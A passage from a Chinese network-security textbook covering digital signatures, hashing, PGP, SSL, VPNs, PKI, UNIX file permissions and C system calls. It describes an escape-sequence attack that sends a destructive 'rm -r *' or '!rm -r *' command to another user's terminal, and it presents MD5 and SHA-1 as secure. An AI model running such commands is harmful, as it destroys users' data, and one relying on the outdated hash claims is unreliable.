    随着信息经济和知识经济的迅猛发展，无纸办公彻底改变了过去手下操作的各种不便，显得更安全、更有效、更迅速、更简沾、更方便。数字签名以其独特的优势适应了这种发展，在无纸办公中占有十分重要的地位。例如，对公司内部有下级呈给上级请求批阅的公文在以往只需领导大笔一挥签名盖章，以个人的笔迹来证明其真实性。但手写的文件签名非常容易伪造．除此之外，签名者还可以否认签名，宣称它是伪造的．但在无纸办公年代，计算机网络中传送的电子公文义如何盖章呢?又如何来证明签名的真实性呢?这就是--一数字签名．
    数字签名的功能：
● 接收者能够核实发送这对报文的签名
● 发送这事后不能抵赖对报文的签名
● 任何人不能伪造对报文的签名．
● 保证数据的完整性，防止截获者在文件中加入其他信息
● 对数据和信息的来源进行保证，以保证发件人的身份．
● 数字签名有一定的处理速度，能够满足所有的应用需求
                          HASH算法
    HASH加密使用复杂的数字算法来实现有效的加密。以下是目前使用的几种标准算法
          MD2，MD4，和MD5
    MD2,MD4和MD5是一组基于单向HASH功能的算法。这些操作采用一定长度的字节流并产生一个唯一的指纹。这种过程是单向的因为你不可能通过从返同的签名中而产生——些信息，而且指纹是唯一的因为没有两条信息会有相同的HASH值。这些操作可以使用信息摘要算法对e-mail信息，证书和其它一些想保证内容完格性的项目产生唯—的单向指纹。通常信息摘要是128位长度的。
    RonRivest还开发了信息摘要算术2(MD2)。MD4和MD5要比MD2更快并广为使用。MD4容易遭到攻击，到少最后几圈的加密曾被成功地攻破过。Rivest又开发了MD5，要比MD4更强壮开仍使用128位的HASH。
                              安全HASH算法(SHA)
    安全HASH算法是另一种HASH功能的应用。还有著名的安全HASH标准(SHS)是由NIST和NSA开发的并用于美国政府。它可以从任意的长度的字串摘取160位的HASH值。SHA在结构上类似于MD4和MD5。尽管它比MD5的速度要慢25％，但它更加安全。它产生的信息摘要比MD5要长25％，因此对于攻击来说是更安全的。
                            应用加密的执行过程
    加密的手段可广泛的应用于不同的应用程序中，从email客户端到WEB服务器到实际的网络当中，如虚拟专用网络(VPN)。很多流行的加密都是综合使用对称，非对称和HASH加密的。这种结合的使用增加了每种类型加密的强度，减少了它们的弱点。一些程序像IIS,PGP，SSL,S-MIME都结合使用了对称，非对称和HASH加密。
                            电子邮件(E—mail)
    E-mail是很明显的需要加密的程序，由其现在商业用户已经离不开它。用于加密e-mail的流行方法就是使用PGP或S-MIME。虽然加密的标准不同，但它们的原则都是一样的。然而，尽管多数加密程序使用不同的对称，非对称，和单向加密以及改变它们对数据加密的顺序，整个过程是相同的。
    下面是发送和接收E-mail中加密的全部过程，如下面两幅图所示
1． 发送方和接收方在发送Email信息之前要得到对方的公钥。
2． 发送方产生一个随机的会话密钥，用于加密email信息和附件的。这个密钥是根据时间的不同以及文件的大小和日期而随机产生的。算法通过使用DES，TripleDES，Blowfish，RC5等等。
3． 发送者然后把这个会话密钥和信息进行一次单向加密得到一个HASH值。这个值用来
保证数据的完整性因为它在传输的过程中不会被改变。在这步通常使用MD2，MD4，
MD5或SHAl。MD5用于SSL，而S-MIME默认使用SHAl。
4．发送者用白己的私钥对这个HASH值加密。通过使用发送者白己的私钥加密，接收者
可以确定信息确实是从这个发送者发过来的。加密后的HASH值我们称做信息摘要。
5．发送者然后用在第二步产生的会话密钥对e-mail信息和所有的附件加密。这种加密提供了数据的保密性。
6．发送者用接收者的公钥对这个会话密钥加密，来确保信息只能被接收者用其自己的私钥解密。这步提供了认证。
7．然后把加密后的信息和数字摘要发送给接收方。解密的过程正好以相反的顺序执行。以下部分是使用上述方法来实施特殊的e-mail加密的实现。
PrettyGoodPrivacy(PGP)
    针对电子邮件和文本文件可能最流行的高技术加密程序就是PGP，PGP足成功的出为采用对称加密和非对称加密技术以及HASH加密的优点。你可以通过http：／／www,pgp．Com来访问PGP的主页。
SecureMIME(S-MIME)
    这是一个公共的，工业标准方法，特别是应用到Netscape Communicator's Messenger E-mail程序上。s—MIME，与PGP相比使用有点不同的算法，密钥格式以及密钥服务器。然而它们的原则是——样的就是用确切的步骤来进行加密，解密和签名信息。
                                  加密文件
    除了加密e-mail信息，你还可以加密整个硬盘的任何部分，为文件创建校验和，建立隐藏加密的驱动器。对于Windows平台来说BestCrypt(www．jetico．corn)是—个很不错的选择。
其它——些流行的用于实施加密文件的产品包括
    BlowfishAdvancedCS(hOme。knuut。de／mchahn／sOftware。html。)
    Locker(www．10cker4u．com)
    EasyCrypt(www．easycrypt．co．uk)
MD5sum
    MD5sum可以应用到Windows NT或Liunx上。Linux—下的md5sum实用程序可对—个单独的文件建立固定长度的校验和，这个文件可以是任意大小，但是校验和总是保持128位的长度。这种校验和是非常有用的，因为它检查一个文档是否被损害。
                                    Web服务器加密
    目前对于加密WEB服务器有两种可接受的模式，它们是安全超文本传输协议(Secure
HTTP)和安全套接字层(SSL)。这两种协议都允许白发的进行商业交易，因为从90代中
期互联网上的商务迅猛增长。SecureHTTP和SSL都使用对称加密，非对称加密和单向加密，并使用单向加密的方法对所有的数据包签名。
SecureHTTP
    SecureHTTP使用非对称加密保护在线传输，但同时这个传输是使用对称密钥加密的。大多的浏览器都支持这个协议，包括NetscapeNavigator和微软的InternetExplorer。
                                安全套接字层(SSL)
    SSL协议允许应用程序在公网上秘密的交换数据，因此防止了窃听，破坏和信息伪造。SSL3．0是由互联网工程任务组(1ETF)规定的。SSL允许两个应用程序通过使用数字证书认证后在网络中进行通信。它还使用加密及信息摘要来保证数据的可靠性。SSL是整附在传输层协议(通常是TCP／IP层)之上的。所有的浏览器都支持SSL，所以应用程序在使用它时不需要特殊的代码。SSL2．0最早是由Netscape公司发明的并在1995年成为一项标准，SSL3．0定义于1996年是当前的标准并且所有浏览器都支持它。
    在某方面，SSL可能比其它方法更加安全因为根据开放式系统互联(OSl)模式，它加密的过程是发生在网络的较低层。与SecureHTTP相比SSL可加密更多的内容，因为Secure HTTP只能加密HTTP流量，而SSL可加密所有的数据包。
                                  网络级协议
    仅考虑在文件级别上进行加密是不够的。文件级加密中介在互联网上如何使用加密的方面。网络级协议和算法在网络层上建立一个安全通道，提供私有性，完整性和认证。
                            虚拟专用网络(VPN)协议
    VPN指的是在公用网络上建立专用网络的技术。之所以称为虚拟网主要是因为整个VPN网络的任意两个节点之间的连接并没有传统专网所需的端到端的物理链路，而是架构在公用网络服务商所提供的网络平台(如INTERNET，ATM，FRAMERELAY等)之上的逻辑网络，用户数据在逻辑链路中传输，VPN具有虚拟的特点：VPN并不是某个公司专有的封闭线路或者是租用某个网络服务商提供的封闭线路，但同时VPN又具有专线的数据传输功能，因为VPN能够像专线一样在公共网络上处理自己公司的信息。VPN可以说是一种网络外包，企业不再追求拥有白己的专有网络，而是将对另外一个公司的访问任务部分或全部外包给一个专业公司去做，这类专业公司的典别代表是电信企业。
VPN具有以下优点：
    (1) 降低成本：企业不必租用长途专线建设专网，不必大量的网络维护人员和设备投资。
    (2) 容易扩展：网络路由设备配置简单，无需增加太多的设备，省时省钱。
    (3) 完全控制主动权：VPN上的设施和服务完全掌握在企业手中。比方说，企业可以把拨号访问交给NSP去做，由自己负责用户的查验、访问权、网络地址、安全性和网络变化管理等重要工作。VPN通过采用”隧道”技术，并在Internet或国际互联网工程工作组(1ETF)制定的lpsec标准统一下，在公众网中形成企业的安全、机密、顺畅的专用链路。常见的VPN协议有PPTP和IPSec。
PPTP与IPSec在安全性上的比较
    PPTP是由Microsoft和US Robotics率先推出的。PPTP在推出之初的目的是用于拨号VPN，这种协议通过使用户拨号进入本地ISP并利用隧道技术按入到企业网络中，增加了远程接入的可用性。与IPSec不同，在PPTP用用制定时，其目的并不足用于处理LAN到LAN隧道的。
    PPTP是PPP协议的扩展，后者是—种定义IP网络上点到点按入的协议。PPP被广泛
地应用于将拨号用户和宽带用户连接到公共Internet或专用企业网络。由于PPP在第二层上发挥作用，因此，将PPP包封装起来的PPTP连接使用户可以发送IP之外的数据包， 比如IPX或NetBEUI数据包。另—方面，IPSec在第三层运行，只能提供IP包的隧道传输。
P　　PTP中常用加密方式是在PPP层定义的。—般来说，PPTP客户机是Microsoft桌面系统，它所使用的加密协议为MiCROSOFT点到点加密方案(MPPE)。MPPE是基于RSA RC4标准的，它支持40位或128位加密算法。虽然这种加密强度可以满足许多应用的需要，但是人们通常认为它不如IPSec提供的一些加密算法安全，尤其不能与IPSec中的168位三重数据加密标准(DES)相比。
                                    保护与服务
    与此同时，IPSec在设计上是为了在受保护的LAN之间的Intemet上建立一条安全隧道。它用于与远程办公室、其它LAN或企业供应商建立连接。例如，大型汽车公司可以使用IPSec VPN来安全地通过Internet将其供应商连接起来，对Intemet上采购订货提供支持。IPSec还支持远程用户与企业网络之间的连接。同样，Microsoft在WindowsNTServer4．0的Routing and AccessServer中增加了对PPTP的LAN到LAN隧道技术的支持。
    从加密强度和数据集成方面来说，IPSec一般被认为要优于PPTP。该协议将密钥管理与对X．509认证、信息集成和内容安全性的支持结合在一起。另外，IPSec中提供的最强密度的168位三重DES加密算法比128位RC4加密算法更安全。IPSec还提供了逐包加密与验证功能，可以防止“中间人攻击” (man in middle attack)。第三方在使用这种攻击时，将截获到的数据加以篡改，再发送给接收者。
    PPTP之所以不能抵御这种攻击，主要是由于它只对会话进行验证，而不验证单个包。不过，请注意，要想对PPTP连接成功地实施“中间人人攻击”需要进行大量的工作，并需要掌握一定的技术。
    对许多企业来说，从Windows平台(PPTP支持们ndows NT、95和98)运行PPTP的能力可以使部署和维护VPN无缝地进行。而另一些企业则认为PPTP不如IPSec安全。然而，应当牢记，如果为远程用户部署VPN的话，IPSec需要使用部门在每个桌面系统上加载特殊的客户软件。客户软件的部署和维护是很繁重的任务，必须慎重考虑。从简单性的角度看，PPTP在部署上非常容易。
                                公钥体系结构(PKl)
    PKI服务器用来负责管理公钥，证书和签名。为了认证持有者的一对密钥的身份，PKI还提供撤销密钥的功能如果密钥不再合法。例如，如果—个私钥已被破解或被公布那么它将被宣告无效。PKI的主要目的是尽快的允许产生证书和撤消它。
                                  PKI标准
    PKI是基于X．509之上的，是证书格式的标准并提供它们如何被访问。为PKI面设计的新的标准已开发出来，在本书出版时，最后的RFC文件包括
● RFC2510：说明PKI使用的术语和协议● RFC 2560：提供有磁在线证书状态协议(OCSP)的内容
● RFC 2585：描述PKI使用的协议和体系结构
● RFC 2587：说明LDAP2是如何用于PKI服务器中的
● RFC 2527：解释PKI使用目的的信息文档
                            PKI术语
● Certificateauthority(CA)：负责发布证书的一组机构。一个CA可以把真正的认证委托到一个注册的认证机构(RA)。
● CA certificate：用于在Internet、Extranet和Intranet上进行身份验证并确保数据交换的安全。公钥证书是以数字方式签名的声明，它将公钥的值与持有相应私钥的主体(个人、设备和服务)的身份绑定在一起。通过在证书上签名，CA可以核实与证书上公钥相应的私钥为证书所指定的主体所拥有。
● End entity：在主题里列出的终端用户或个人
● Certificate policy statement：CA根据也已确立的一套标准向申请人颁发证书。CA在受理证书请求(以及颁发证书、吊销证·书和发布CRL)时所采用的一套标准被称为CA策略。通常，CA以一种叫做证书惯例声明(Certification Practice Statement，CPS)的文档发布其策略。
● Repository：传播到网络下允许访问证书的一系列东西
本章小结：
    下表显示了安全所需考虑的事项，通过本课的学习我们可以在NT及LINUX下实现Email及数据的加密从而达到网络安全的目的，本章VPN的原理和实施也是重点
术语　　　　功能
加密　　　　　打乱和恢复网络上的数据。防止非授权的欺骗并保证数据的可靠
认证　　　　　建立参与者的身份证明，使用认证的规则
密钥　　　　　一些单词，短语或文本串来加密和解密信息
对称加密　　　一种使用一个密钥的加密方法
非对称加密　　使用一对密钥加密的方法。用其中一个加密，另一个用来解密
HASH和签名　　使用单向散列算法生成一段HASH值以确保唯一性
证书　　　　　数字ID用一证实参与者的身份。经常也是一段HASH代码
防火墙　　　　控制网络进出数据包的系统，网络加密经常发生在这一层
问题讨论：
√ 加密的种类及原理，它们各自的优点和缺点?
√ VPN原理及实施
√证书服务器和SSL原理及相关配置
√ 熟练掌握PGP和GPG的应用


用户安全

本文从用户角度讨论UNIX系统安全,阐述口令,文件保护,目录保护,与用户
程序有关的某些特殊特性和使用crypt命令加密,并给出一些重要的安全忠告,
以帮 助用户保护自己的户头安全.

1.口令安全
UNIX系统中的/etc/passwd文件含有全部系统需要知道的关于每个用户的信
息(加密后的口令也可能存于/etc/shadow文件中).
/etc/passwd中包含有用户的登录名,经过加密的口令,用户号,用户组号,用
户注释,用户主目录和用户所用的shell程序.其中用户号(UID)和用户组号(GID)
用于UNIX系统唯一地标识用户和同组用户及用户的访 问权限.
/etc/passwd中存放的加密的口令用于用户登录时输入的口令经计算后相比
较,符合则允许登录,否则拒绝用户登录.用户可用passwd命令修改自己的口令,
不 能直接修改/etc/passwd中的口令部份.
一个好的口令应当至少有6个字符长,不要取用个人信息(如生日,名字,反向
拼写的登录名,房间中可见的东西),普通的英语单词也不好(因为可用字典攻击
法),口令中最好有一些非字母(如数字,标点符号,控制字符等),还要好记一些,
不能写在纸上或计算机中的文件中,选择口令的一个好方法是将两个不相关的词
用一个数字或控制字符相连,并截断为8个字符.当然,如果你能记住8位乱码自然
更好.
不应使用同一个口令在不同机器中使用,特别是在不同级别的用户上使用同
一口令,会引起全盘崩溃.用户应定期改变口令,至少6个月要改变一次,系统管理
员可以强制用户定期做口令修改.
为防止眼明手快的人窃取口令,在输入口令时应确认无人在身边.

2.文件许可权
文件属性决定了文件的被访问权限,即谁能存取或执行该文件.用ls -l可以
列出详细的文件信息,如:
-rwxrwxrwx 1 pat cs440 70 Jul 28 21:12 zombin
包括了文件许可,文件联结数,文件所有者名,文件相关组名,文件长度,上次存取
日期和文件名.
其中文件许可分为四部分:
-:表示文件类型.
第一个rwx:表示文件属主的访问权限.
第二个rwx:表示文件同组用户的访问权限.
第三个rwx:表示其他用户的访问权限.
若某种许可被限制则相应的字母换为-.
在许可权限的执行许可位置上,可能是其它字母,s,S,t,T.s和S可出现在所
有者和同组用户许可模式位置上,与特殊的许可有关,后面将要讨论,t和T可出现
在其他用户的许可模式位置上,与"粘贴位"有关而与安全无关.小写字母(x,s,t)
表示执行许可为允许,负号或大写字母(-,S或T)表示执行许可为不允许.
改变许可方式可使用chmod命令,并以新许可方式和该文件名为参数.新许可
方式以3位8进制数给出,r为4,w为2,x为1.如rwxr-xr--为754.
chmod也有其它方式的参数可直接对某组参数修改,在此不再多说,详见UNIX
系统的联机手册.
文件许可权可用于防止偶然性地重写或删除一个重要文件(即使是属主自己)!
改变文件的属主和组名可用chown和chgrp,但修改后原属主和组员就无法修
改回来了.

3.目录许可
在UNIX系统中,目录也是一个文件,用ls -l列出时,目录文件的属性前面带
一个d,目录许可也类似于文件许可,用ls列目录要有读许可,在目录中增删文件
要有写许可,进入目录或将该目录作路径分量时要有执行许可,故要使用任一个
文件,必须有该文件及找到该文件的路径上所有目录分量的相应许可.仅当要打
开一个文件时,文件的许可才开始起作用,而rm,mv只要有目录的搜索和写许可,
不需文件的许可,这一点应注意.

4.umask命令
umask设置用户文件和目录的文件创建缺省屏蔽值,若将此命令放入
.profile文件,就可控制该用户后续所建文件的存取许可.umask命令与chmod命
令的作用正好相反,它告诉系统在创建文件时不给予什么存取许可.

5.设置用户ID和同组用户ID许可
用户ID许可(SUID)设置和同组用户ID许可(SGID)可给予可执行的目标文件
(只有可执行文件才有意义)当一个进程执行时就被赋于4个编号,以标识该进程
隶属于谁,分别为实际和有效的UID,实际和有效的GID.有效的UID和GID一般和实
际的UID和GID相同,有效的UID和GID用于系统确定该进程对于文件的存取许可.
而设置可执行文件的SUID许可将改变上述情况,当设置了SUID时,进程的有效UID
为该可执行文件的所有者的有效UID,而不是执行该程序的用户的有效UID,因此,
由该程序创建的都有与该程序所有者相同的存取许可.这样,程序的所有者将可
通过程序的控制在有限的范围内向用户发表不允许被公众访问的信息.
同样,SGID是设置有效GID.
用chmod u+s 文件名和chmod u-s文件名来设置和取消SUID设置.用
chmod g+s 文件名和chmod g-s文件名来设置和取消SGID设置.
当文件设置了SUID和SGID后,chown和chgrp命令将全部取消这些许可.

6.cp mv ln和cpio命令
cp拷贝文件时,若目的文件不存在则将同时拷贝源文件的存取许可,包括SUID
和SGID许可.新拷贝的文件属拷贝的用户所有,故拷贝另人的文件时应小心,不要
被其他用户的SUID程序破坏自己的文件安全.
mv移文件时,新移的文件存取许可与原文件相同,mv仅改变文件名.只要用户
有目录的写和搜索许可,就可移走该目录中某人的SUID程序且不改变其存取许可.
若目录许可设置不正确,则用户的SUID程序可被移到一个他不能修改和删除的目
录中,将出现安全漏洞.
ln为现有文件建立一个链,即建立一个引用同一文件的新名字.如目的文件
已经存在,则该文件被删除而代之以新的链,或存在的目的文件不允许用户写它,
则请求用户确认是否删除该文件,只允许在同一文件系统内建链.若要删除一个
SUID文件,就要确认文件的链接数,只有一个链才能确保该文件被删除.若SUID文
件已有多个链,一种方法是改变其存取许可方式,将同时修改所有链的存取许可,
也可以chmod 000 文件名,不仅取消了文件的SUID和SGID许可,而且也取消了文
件的全部链.要想找到谁与自己的SUID程序建立了链,不要立刻删除该程序,系统
管理员可用ncheck命令找到该程序的其它链.
cpio命令用于将目录结构拷贝到一个普通文件中,而后可再用cpio命令将该
普通文件转成目录结构.用-i选项时,cpio从标准输入设备读文件和目录名表,并
将其内容按档案格式拷贝到标准输出设备,使用-o选项时,cpio从标准输入设备
读取先已建好的档案,重建目录结构.cpio命令常用以下命令做一完整的目录系
统档案:
find fromdir -print|cpio -o 〉 archive
根据档案文件重建一个目录结构命令为:
cpio -id 〈 archive
cpio的安全约定如下:
(1)档案文件存放每个文件的信息,包括文件所有者,小组用户,最后修改时
间,最后存取时间,文件存取许可方式.
*根据档案建立的文件保持存放于档案中的存取许可方式.
*从档案中提取的每个文件的所有者和小组用户设置给运行cpio -i命令
的用户,而不是设置给档案中指出的所有者和小组用户.
*当运行cpio -i命令的用户是root时,被建立的文件的所有者和小组用户
是档案文件所指出的.
*档案中的SUID/SGID文件被重建时,保持SUID和SGID许可,如果重建文件
的用户不是root,SUID/SGID许可是档案文件指出的用户/小组的许可.
(2)现存文件与cpio档案中的文件同名时,若现存文件比档案中的文件更新,
这些文件将不被重写.
(3)如果用修改选项U,则同名的现存的文件将被重写.可能会发生一件很奇
怪的事:如被重写的文件原与另一个文件建了链,文件被重写后链并不断
开,换言之,该文件的链将保持,因此,该文件的所有链实际指向从档案中
提取出来的文件,运行cpio无条件地重写现存文件以及改变链的指向.
(4)cpio档案中可含的全路径名或父目录名给出的文件.

7.su和newgrp命令
(1)su命令:可不必注销户头而将另一用户又登录进入系统,作为另一用户工作.
它将启动一新的shell并将有效和实际的UID和GID设置给另一用户.因此必须严
格将root口令保密.
(2)newgrp命令:与su相似,用于修改当前所处的组名.

8.文件加密
crypt命令可提供给用户以加密文件,使用一个关键词将标准输入的信息编
码为不可读的杂乱字符串,送到标准输出设备.再次使用此命令,用同一关键词作
用于加密后的文件,可恢复文件内容.
一般来说,在文件加密后,应删除原始文件,只留下加密后的版本,且不能忘
记加密关键词.
在vi中一般都有加密功能,用vi -x命令可编辑加密后的文件.关于加密关键
词的选取规则与口令的选取规则相同.
由于crypt程序可能被做成特洛依木马,故不宜用口令做为关键词.最好在加
密前用pack或compress命令对文件进行压缩后再加密.

9.其它安全问题
(1)用户的.profile文件
由于用户的HOME目录下的.profile文件在用户登录时就被执行.若该文件
对其他人是可写的 则系统的任何用户都能修改此文件,使其按自己的要求
工作.这样可能使得其他用户具有该用户相同的权限.
(2)ls -a
此命令用于列出当前目录中的全部文件,包括文件名以.开头的文件,查看
所有文件的存取许可方式和文件所有者,任何不属于自己但存在于自己的
目录中的文件都应怀疑和追究.
(3).exrc文件
为编辑程序的初始化文件,使用编辑文件后,首先查找$HOME/.exrc文件和
./.exrc文件,若该文件是在$HOME目录中找到,则可像.profile一样控制它
的存取方式,若在一个自己不能控制的目录中,运行编辑程序,则可能运行
其他人的.exrc文件,或许该.exrc文件存在那里正是为了损害他人的文件
安全.为了保证所编辑文件的安全,最好不要在不属于自己或其他人可写的
目录中运行任何编辑程序.
(4)暂存文件和目录
在UNIX系统中暂存目录为/tmp和/usr/tmp,对于程序员和许多系统命令都
使用它们,如果用这些目录存放暂存文件,别的用户可能会破坏这些文件.
使用暂存文件最好将文件屏蔽值定义为007,但最保险的方法是建立自己的
暂存文件和目录:$HOME/tmp,不要将重要文件存放于公共的暂存目录.
(5)UUCP和其它网络
UUCP命令用于将文件从一个UNIX系统传送到另一个UNIX系统,通过UUCP传
送的文件通常存于/usr/spool/uucppublic/login目录,login是用户的登
录名,该目录存取许可为777,通过网络传输并存放于此目录的文件属于
UUCP所有,文件存取许可为666和777,用户应当将通过UUCP传送的文件加
密,并尽快移到自己的目录中.其它网络将文件传送到用户HOME目录下的
rjc目录中.该目录应对其他人是可写可搜索的,但不必是可读的,因而用户
的rjc目录的存取许可方式应为733,允许程序在其中建立文件.同样,传送
的文件也应加密并尽快移到自己的目录中.
(6)特络依木马
在UNIX系统安全中,用特络依木马来代表一种程序,这种程序在完成某种具
有明显意图的功能时,还破坏用户的安全.如果PATH设置为先搜索系统目
录,则受特络依木马的攻击会大大减少.如模似的crypt程序.
(7)诱骗
类似于特络依木马,模似一些东西使用户泄漏一些信息,不同的是,它由某
人执行,等待无警觉的用户来上当.如模似的login.
(8)计算机病毒
计算机病毒通过把其它程序变成病毒从而传染系统的,可以迅速地扩散,特
别是系统管理员的粗心大意,作为root运行一个被感染的程序时.实验表
明,一个病毒可在一个小时内(平均少于30分钟)取得root权限.
(9)要离开自己已登录的终端
除非能对终端上锁,否则一定要注销户头.
(10)智能终端
由于智能终端有send和enter换码序列,告诉终端送当前行给系统,就像是
用户敲入的一样.这是一种危险的能力,其他人可用write命令发送信息给
本用户终端,信息中如含有以下的换码序列:
移光标到新行(换行)
在屏幕上显示"rm -r *"
将该行送给系统
后果大家可以想象.
禁止其他用户发送信息的方法是使用mesg命令,mesg n不允许其他用户发
信息,mesg y允许其他用户发信息.即使如此仍是有换码序列的问题存在,
任何一个用户用mail命令发送同样一组换码序列,不同的要用!rm -r *替
换rm -r *.mail将以!开头的行解释为一条shell命令,启动shell,由shell
解释该行的其它部分,这被称为shell换码.为避免mail命令发送换码序列
到自己的终端,可建立一个过滤程序,在读mail文件之前先运行过滤程序,
对mail文件进行处理:
myname="$LOGNAME";
tr -d[\001-\007][-\013-\037]〈/usr/mail/$myname〉〉$HOME/mailbox;
〉 /usr/mail/$myname;
mail -f $HOME/mailbox
其中tr将标准输入的字符转换手写到标准输出中.这只是一个简单的思路,
从原则上来说,此程序应为一C程序,以避免破坏正发送到的文件,可用锁文
件方式实现.
(11)断开与系统的联接
用户应在看到系统确认用户登录注销后再离开以免在用户未注销时由他人
潜入.
(12)cu命令
该命令使用户能从一个UNIX系统登录到另一个UNIX系统,此时,在远地系统
中注销用户后还必须输入"~"后回车,以断开cu和远地系统的联接.
cu还有两个安全问题:
*如本机安全性弱于远地机,不提倡用cu去登录远地机,以免由于本地机的
不安全而影响较安全的远地机.
*由于cu的老版本处理"~"的方法不完善,从安全性强的系统调用安全性弱
的系统时,会使弱系统的用户使用强系统用户的cu传送强系统的
/etc/passwd文件,除非确信正在使用的cu是正确版本,否则不要调用弱系
统.

10.保持户头安全的要点
(1)保持口令的安全
*不要将口令写下来.
*不要将口令存于终端功能键或MODEM的字符串存储器中.
*不要选取显而易见的信息作口令.
*不要让别人知道.
*不要交替使用两个口令.
*不要在不同系统上使用同一口令.
*不要让人看见自己在输入口令.
(2)不要让自己的文件或目录可被他人写.
*如果不信任本组用户,umask设置为022.
*确保自己的.profile除自己外对他人都不可读写.
*暂存目录最好不用于存放重要文件.
*确保HOME目录对任何人不可写.
*uucp传输的文件应加密,并尽快私人化.
(3)若不想要其他用户读自己的文件或目录,就要使自己的文件和目录不允许
任何人读.
*umask设置为006/007.
*若不允许同组用户存取自己的文件和目录,umask设置为077.
*暂存文件按当前umask设置,存放重要数据到暂存文件的程序,就被写成能
确保暂存文件对其他用户不可读.
*确保HOME目录对每个用户不可读.
(4)不要写SUID/SGID程序.
(5)小心地拷贝和移文件.
*cp拷贝文件时,记住目的文件的许可方式将和文件相同,包括SUID/SGID许
可在内,如目的文件已存在,则目的文件的存取许可和所有者均不变.
*mv移文件时,记住目的文件的许可方式将和文件相同,包括SUID/SGID许可
在内,若在同一文件系统内移文件,目的文件的所有者和小组都不变,否
则,目的文件的所有者和小组将设置成本用户的有效UID和GID.
*小心使用cpio命令,它能复盖不在本用户当前目录结构中的文件,可用t选
项首先列出要被拷贝的文件.
(6)删除一个SUID/SGID程序时,先检查该程序的链接数,如有多个链,则将存取
许可方式改为000,然后再删除该程序,或先写空该程序再删除,也可将该程
序的i结点号给系统管理员去查找其他链.
(7)用crypt加密不愿让任何用户(包括超级用户)看的文件.
*不要将关键词做为命令变量.
*用ed -x或vi -x编辑加密文件.
(8)除了信任的用户外,不要运行其他用户的程序.
(9)在自己的PATH中,将系统目录放在前面.
(10)不要离开自己登录的终端.
(11)若有智能终端,当心来自其他用户,包括write命令,mail命令和其他用户
文件的信息中有换码序列.
(12)用CTRL+D或exit退出后,在断开与系统的联接前等待看到login:提示.
(13)注意cu版本.
*不要用cu调用安全性更强的系统.
*除非确信cu不会被诱骗去发送文件,否则不要用cu调用安全性较弱的系统.


程序员安全

UNIX系统为程序员提供了许多子程序,这些子程序可存取各种安全属性.有
些是信息子程序,返回文件属性,实际的和有效的UID,GID等信息.有些子程序可
改变文件属性.UID,GID等有些处理口令文件和小组文件,还有些完成加密和解密.
本文主要讨论有关系统子程序,标准C库子程序的安全,如何写安全的C程序
并从root的角度介绍程序设计(仅能被root调用的子程序).

1.系统子程序

(1)I/O子程序
*creat():建立一个新文件或重写一个暂存文件.
需要两个参数:文件名和存取许可值(8进制方式).如:
creat("/usr/pat/read_write",0666) /* 建立存取许可方式为0666的文件 */
调用此子程序的进程必须要有建立的文件的所在目录的写和执行许可,置
给creat()的许可方式变量将被umask()设置的文件建立屏蔽值所修改,新
文件的所有者和小组由有效的UID和GID决定.
返回值为新建文件的文件描述符.
*fstat():见后面的stat().
*open():在C程序内部打开文件.
需要两个参数:文件路径名和打开方式(I,O,I&O).
如果调用此子程序的进程没有对于要打开的文件的正确存取许可(包括文
件路径上所有目录分量的搜索许可),将会引起执行失败.
如果此子程序被调用去打开不存在的文件,除非设置了O_CREAT标志,调用
将不成功.此时,新文件的存取许可作为第三个参数(可被用户的umask修
改).
当文件被进程打开后再改变该文件或该文件所在目录的存取许可,不影响
对该文件的I/O操作.
*read():从已由open()打开并用作输入的文件中读信息.
它并不关心该文件的存取许可.一旦文件作为输入打开,即可从该文件中读
取信息.
*write():输出信息到已由open()打开并用作输出的文件中.同read()一样
它也不关心该文件的存取许可.

(2)进程控制
*exec()族:包括execl(),execv(),execle(),execve(),execlp()和execvp()
可将一可执行模快拷贝到调用进程占有的存贮空间.正被调用进
程执行的程序将不复存在,新程序取代其位置.
这是UNIX系统中一个程序被执行的唯一方式:用将执行的程序复盖原有的
程序.
安全注意事项:
. 实际的和有效的UID和GID传递给由exec()调入的不具有SUID和SGID许
可的程序.
. 如果由exec()调入的程序有SUID和SGID许可,则有效的UID和GID将设
置给该程序的所有者或小组.
. 文件建立屏蔽值将传递给新程序.
. 除设了对exec()关闭标志的文件外,所有打开的文件都传递给新程序.
用fcntl()子程序可设置对exec()的关闭标志.
*fork():用来建立新进程.其建立的子进程是与调用fork()的进程(父进程)
完全相同的拷贝(除了进程号外)
安全注意事项:
. 子进程将继承父进程的实际和有效的UID和GID.
. 子进程继承文件方式建立屏蔽值.
. 所有打开的文件传给子进程.
*signal():允许进程处理可能发生的意外事件和中断.
需要两个参数:信号编号和信号发生时要调用的子程序.
信号编号定义在signal.h中.
信号发生时要调用的子程序可由用户编写,也可用系统给的值,如:SIG_IGN
则信号将被忽略,SIG_DFL则信号将按系统的缺省方式处理.
如许多与安全有关的程序禁止终端发中断信息(BREAK和DELETE),以免自己
被用户终端终止运行.
有些信号使UNIX系统的产生进程的核心转储(进程接收到信号时所占内存
的内容,有时含有重要信息),此系统子程序可用于禁止核心转储.

(3)文件属性
*access():检测指定文件的存取能力是否符合指定的存取类型.
需要两个参数:文件名和要检测的存取类型(整数).
存取类型定义如下:
0: 检查文件是否存在
1: 检查是否可执行(搜索)
2: 检查是否可写
3: 检查是否可写和执行
4: 检查是否可读
5: 检查是否可读和执行
6: 检查是否可读可写可执行
这些数字的意义和chmod命令中规定许可方式的数字意义相同.
此子程序使用实际的UID和GID检测文件的存取能力(一般有效的UID和GID
用于检查文件存取能力).
返回值: 0:许可 -1:不许可.
*chmod():将指定文件或目录的存取许可方式改成新的许可方式.
需要两个参数:文件名和新的存取许可方式.
*chown():同时改变指定文件的所有者和小组的UID和GID.(与chown命令不
同).
由于此子程序同时改变文件的所有者和小组,故必须取消所操作文件的SUID
和SGID许可,以防止用户建立SUID和SGID程序,然后运行chown()去获得别
人的权限.
*stat():返回文件的状态(属性).
需要两个参数:文件路径名和一个结构指针,指向状态信息的存放
的位置.
结构定义如下:
st_mode: 文件类型和存取许可方式
st_ino: I节点号
st_dev: 文件所在设备的ID
st_rdev: 特别文件的ID
st_nlink: 文件链接数
st_uid: 文件所有者的UID
st_gid: 文件小组的GID
st_size: 按字节计数的文件大小
st_atime: 最后存取时间(读)
st_mtime: 最后修改时间(写)和最后状态的改变
st_ctime: 最后的状态修改时间
返回值: 0:成功 1:失败
*umask():将调用进程及其子进程的文件建立屏蔽值设置为指定的存取许可.
需要一个参数: 新的文件建立屏值.

(4)UID和GID的处理
*getuid():返回进程的实际UID.
*getgid():返回进程的实际GID.
以上两个子程序可用于确定是谁在运行进程.
*geteuid():返回进程的有效UID.
*getegid():返回进程的有效GID.
以上两个子程序可在一个程序不得不确定它是否在运行某用户而不是运行
